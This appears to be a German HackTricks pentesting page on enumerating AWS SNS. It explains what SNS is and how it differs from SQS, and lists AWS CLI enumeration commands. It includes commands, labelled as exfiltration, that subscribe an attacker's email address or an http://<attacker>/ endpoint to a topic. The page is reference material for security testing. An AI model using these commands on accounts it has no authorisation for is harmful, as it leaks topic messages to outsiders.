AWS - SNS Enum

Erlernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

SNS

Amazon Simple Notification Service (Amazon SNS) wird als vollständig verwalteter Messaging-Dienst beschrieben. Er unterstützt sowohl Anwendung-zu-Anwendung (A2A) als auch Anwendung-zu-Person (A2P) Kommunikationstypen.

Wichtige Funktionen für die A2A-Kommunikation umfassen Veröffentlichungs-/Abonnementmechanismen. Diese Mechanismen führen Themen ein, die für die Ermöglichung von Push-basierter, vieler-zu-vieler Nachrichtenübermittlung mit hoher Durchsatzrate entscheidend sind. Diese Funktion ist in Szenarien, die verteilte Systeme, Mikroservices und ereignisgesteuerte serverlose Architekturen umfassen, äußerst vorteilhaft. Durch die Nutzung dieser Themen können Veröffentlichungssysteme Nachrichten effizient an eine breite Palette von Abonnentensystemen verteilen und so ein Fanout-Nachrichtenmuster ermöglichen.

Unterschied zu SQS

SQS ist ein warteschlangenbasierter Dienst, der eine Punkt-zu-Punkt-Kommunikation ermöglicht und sicherstellt, dass Nachrichten von einem einzigen Verbraucher verarbeitet werden. Es bietet mindestens einmalige Zustellung, unterstützt Standard- und FIFO-Warteschlangen und ermöglicht die Nachrichtenspeicherung für Wiederholungen und verzögerte Verarbeitung. Auf der anderen Seite ist SNS ein veröffentlichungs-/abonnementbasierter Dienst, der Eins-zu-Viele-Kommunikation ermöglicht, indem Nachrichten gleichzeitig an mehrere Abonnenten übertragen werden. Es unterstützt verschiedene Abonnementendpunkte wie E-Mail, SMS, Lambda-Funktionen und HTTP/HTTPS und bietet Filtermechanismen für gezielte Nachrichtenübermittlung. Während beide Dienste eine Entkopplung zwischen Komponenten in verteilten Systemen ermöglichen, konzentriert sich SQS auf die Warteschlangenkommunikation, während SNS ereignisgesteuerte, Fanout-Kommunikationsmuster betont.

Enumeration

# Get topics & subscriptions
aws sns list-topics
aws sns list-subscriptions
aws sns list-subscriptions-by-topic --topic-arn <arn>

# Check privescs & post-exploitation
aws sns publish --region <region> \
--topic-arn "arn:aws:sns:us-west-2:123456789012:my-topic" \
--message file://message.txt

# Exfiltrate through email
## You will receive an email to confirm the subscription
aws sns subscribe --region <region> \
--topic-arn arn:aws:sns:us-west-2:123456789012:my-topic \
--protocol email \
--notification-endpoint my-email@example.com

# Exfiltrate through web server
## You will receive an initial request with a URL in the field "SubscribeURL"
## that you need to access to confirm the subscription
aws sns subscribe --region <region>\
--protocol http \
--notification-endpoint http://<attacker>/ \
--topic-arn <arn>

Beachten Sie, dass bei FIFO-Themen nur Abonnenten mit dem Protokoll SQS verwendet werden können (HTTP oder HTTPS können nicht verwendet werden).

Auch wenn die --topic-arn die Region enthält, stellen Sie sicher, dass Sie die richtige Region in --region angeben, oder Sie erhalten einen Fehler, der aussieht wie ein Hinweis darauf, dass Sie keinen Zugriff haben, aber das Problem ist die Region.

Nicht authentifizierter Zugriff

pageAWS - SNS Unauthenticated Enum

Privilege Escalation

pageAWS - SNS Privesc

Post-Exploitation

pageAWS - SNS Post Exploitation

Persistenz

pageAWS - SNS Persistence

Referenzen

Erlernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Last updated